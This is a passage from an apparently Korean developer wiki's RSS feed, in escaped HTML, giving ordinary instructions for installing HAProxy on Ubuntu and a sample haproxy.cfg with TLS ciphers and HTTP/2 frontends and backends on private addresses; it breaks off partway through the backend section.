Raw 문자열을 바이너리 형식으로 변경해주는 것을 지원해야 한다.)&lt;/p&gt; &lt;p&gt;따라서 HTTP/2의 경우는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nghttp2&lt;/code&gt; 라이브러리의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nghttp&lt;/code&gt; 바이너리를 이용하거나 curl의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--http2&lt;/code&gt; 옵션을 사용하는 수 밖에 없을 것 같다.&lt;/p&gt; </description><pubDate>Tue, 02 Apr 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/linux/http_cli</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/linux/http_cli</guid> <category>linux</category> <category>curl</category> <category>linux</category> </item> <item><title>Ubuntu에 haproxy 설치 및 설정</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#haproxy-설명&quot;&gt;HAProxy 설명&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#설치&quot;&gt;설치&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#apt로-설치&quot;&gt;apt로 설치&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#컴파일하여-설치&quot;&gt;컴파일하여 설치&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#haproxy-config-설정&quot;&gt;haproxy config 설정&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#haproxy-실행&quot;&gt;haproxy 실행&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;haproxy-설명&quot;&gt;HAProxy 설명&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;L4 (TCP) 및 L7 (HTTP) 기반의 로드밸런싱 및 프록시를 제공하는 오픈소스 소프트웨어&lt;/li&gt; &lt;li&gt;C 언어로 개발, 스위치에서 제공하는 L4, L7 기능을 지원&lt;/li&gt; &lt;li&gt;reverse proxy의 형태로 동작, Keepalived를 사용하여 HA(high availability) 구성 진행&lt;/li&gt; &lt;/ul&gt; &lt;h1 id=&quot;설치&quot;&gt;설치&lt;/h1&gt; &lt;h3 id=&quot;apt로-설치&quot;&gt;apt로 설치&lt;/h3&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;apt-get update apt-get &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; haproxy &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;컴파일하여-설치&quot;&gt;컴파일하여 설치&lt;/h3&gt; &lt;p&gt;HAProxy를 직접 컴파일하여 실행하여도 된다. &lt;br /&gt; &lt;a href=&quot;https://www.haproxy.org/#down&quot;&gt;https://www.haproxy.org/#down&lt;/a&gt;&lt;/p&gt; &lt;h1 id=&quot;haproxy-config-설정&quot;&gt;haproxy config 설정&lt;/h1&gt; &lt;p&gt;ssl 세팅을 진행하기 위해서는 인증서를 조합하여 파일을 만들어야 한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;인증서경로&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;키경로&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; output.pem &lt;span class=&quot;c&quot;&gt;# 예시 (letsencrypt)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# cat fullchain1.pem privkey1.pem &amp;gt; output.pem&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/haproxy/haproxy.cfg&lt;/code&gt; 파일을 수정하여 설정을 진행한다.&lt;/p&gt; &lt;div class=&quot;language-conf highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# https://cbonte.github.io/haproxy-dconv/2.2/configuration.html &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# maxconn 100000 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;dev&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local0&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;dev&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;notice&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chroot&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;var&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;lib&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;haproxy&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;daemon&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;haproxy&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;group&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;haproxy&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stats&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;run&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;haproxy&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;admin&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;sock&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;660&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;admin&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;expose&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;listeners&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stats&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# nbproc 2 &lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# nbthread 4 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ca&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;base&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;etc&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;certs&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;base&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;etc&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;default&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;ciphers&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ECDHE&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;ECDSA&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;AES128&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;GCM&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;SHA256&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;ECDHE&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;RSA&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;AES128&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;GCM&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;SHA256&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;ECDHE&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;ECDSA&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;AES256&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;GCM&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;SHA384&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;ECDHE&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;RSA&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;AES256&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;GCM&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;SHA384&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;ECDHE&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;ECDSA&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;CHACHA20&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;POLY1305&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;ECDHE&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;RSA&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;CHACHA20&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;POLY1305&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;DHE&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;RSA&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;AES128&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;GCM&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;SHA256&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;DHE&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;RSA&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;AES256&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;GCM&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;SHA384&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;default&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;ciphersuites&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TLS_AES_128_GCM_SHA256&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;TLS_CHACHA20_POLY1305_SHA256&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;TLS_AES_128_CCM_SHA256&lt;/span&gt;:&lt;span class=&quot;n&quot;&gt;TLS_AES_128_CCM_8_SHA256&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;default&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;options&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;min&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;ver&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TLSv1&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;no&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;tls&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;tickets&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;defaults&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;option&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;httplog&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# mode tcp &lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# option tcplog &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;option&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dontlognull&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;errorfile&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;500&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;var&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;haproxy&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;/&lt;span class=&quot;m&quot;&gt;500&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;600&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;600&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# http &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frontend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_front_http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;12&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;8088&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;13&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;8088&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# https redirect &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;default_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# mode tcp - http2 &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frontend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_front_tcp_http2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;option&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tcplog&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;12&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;4433&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;pem&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;13&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;4433&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;com&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;pem&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;use_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt; { &lt;span class=&quot;n&quot;&gt;ssl_fc_alpn&lt;/span&gt; -&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; } &lt;span class=&quot;n&quot;&gt;default_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# mode http - http2 &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frontend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_front_http_http2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;12&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;4434&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;pem&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;13&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;4434&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;pem&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;use_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2_http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt; { &lt;span class=&quot;n&quot;&gt;ssl_fc_alpn&lt;/span&gt; -&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; } &lt;span class=&quot;n&quot;&gt;default_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2_http&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# use_backend webserver_backend_h2c if { ssl_fc_alpn -i h2 } &lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# default_backend webserver_backend_h2c &lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# mode http - http2/http1.1 &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frontend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_front_http_http2_https&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;12&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;4435&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;pem&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt;,&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;/&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;13&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;4435&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;pem&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt;,&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;/&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# http2 지원할 때에만 연결 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;use_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2_http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt; { &lt;span class=&quot;n&quot;&gt;ssl_fc_alpn&lt;/span&gt; -&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; } &lt;span class=&quot;c&quot;&gt;# 디폴트는 http/1.1 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;default_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http_https&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# mode http - h2c &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frontend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_front_http_h2c&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;12&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;4436&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;pem&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;13&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;4436&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;pem&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;use_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_h2c&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt; { &lt;span class=&quot;n&quot;&gt;ssl_fc_alpn&lt;/span&gt; -&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; } &lt;span class=&quot;n&quot;&gt;default_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_h2c&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# frontend webserver_h2c # mode http # option http-use-htx # bind 192.168.0.12:4434 proto h2 # default_backend webserver_backend_http_h2c &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span 